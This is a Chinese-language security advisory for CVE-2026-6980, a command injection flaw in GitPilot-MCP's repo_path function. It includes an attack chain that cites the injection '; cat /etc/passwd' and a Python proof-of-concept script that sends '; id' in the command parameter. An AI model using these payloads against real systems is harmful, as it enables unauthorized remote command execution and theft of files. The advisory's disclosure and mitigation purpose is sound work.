IPBUF安全漏洞报告
English
CVE-2026-6980 CVSS 7.3 高危

CVE-2026-6980: GitPilot-MCP 命令注入漏洞

披露日期: 2026-04-25

漏洞信息

漏洞编号
CVE-2026-6980
漏洞类型
命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Divyanshu-hash GitPilot-MCP

相关标签

命令注入RCEGitPilot-MCPCVE-2026-6980高危漏洞

漏洞概述

Divyanshu-hash GitPilot-MCP 组件存在严重的命令注入漏洞。由于 main.py 文件中 repo_path 函数对传入的 command 参数缺乏有效过滤,未经身份验证的远程攻击者可利用此漏洞注入恶意命令,导致系统被完全控制。鉴于该产品未使用版本控制,具体受影响版本难以确定,且厂商尚未响应修复请求。

技术细节

该漏洞源于 Divyanshu-hash GitPilot-MCP 项目代码中的输入验证缺失。具体而言,在 `main.py` 文件的 `repo_path` 函数内,程序直接将用户可控的 `command` 参数拼接到系统命令上下文中执行。由于缺乏对特殊字符(如 `;`, `|`, `&`, `` ` ``)的过滤机制,攻击者可以向该参数注入恶意的操作系统指令。利用 CVSS 向量中的网络攻击向量(AV:N)和无需认证(PR:N)特性,攻击者可远程发起攻击,读取敏感文件、安装后门或破坏系统完整性,且整个过程不需要任何用户交互。

攻击链分析

STEP 1
reconnaissance
扫描并识别互联网上暴露的 GitPilot-MCP 服务实例。
STEP 2
exploitation
向目标服务器的 repo_path 接口发送特制的 HTTP 请求,在 command 参数中注入恶意 Shell 命令(如 '; cat /etc/passwd')。
STEP 3
execution
服务器端后端未过滤参数,直接将恶意字符串拼接到系统命令中执行,返回执行结果。
STEP 4
post-exploitation
攻击者利用获得的命令执行权限,进一步窃取数据、安装后门或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-6980 # This script demonstrates the command injection vulnerability # by injecting a malicious payload into the 'command' parameter. import requests import sys def exploit(target_url): # The vulnerable parameter is 'command' in the 'repo_path' function # Payload attempts to execute 'id' command to verify execution payload = "; id" # Construct the data payload based on the vulnerable function data = { "command": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for command execution output (e.g., uid=, gid=).") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://localhost:8000/repo_path") else: exploit(sys.argv[1])

影响范围

Divyanshu-hash GitPilot-MCP <= commit 9ed9f153ba4158a2ad230ee4871b25130da29ffd

防御指南

临时缓解措施
建议立即检查并修改 `main.py` 文件中的 `repo_path` 函数代码,禁止直接将用户输入传递给命令解释器。在官方发布修复版本前,可考虑禁用该功能或限制访问来源 IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表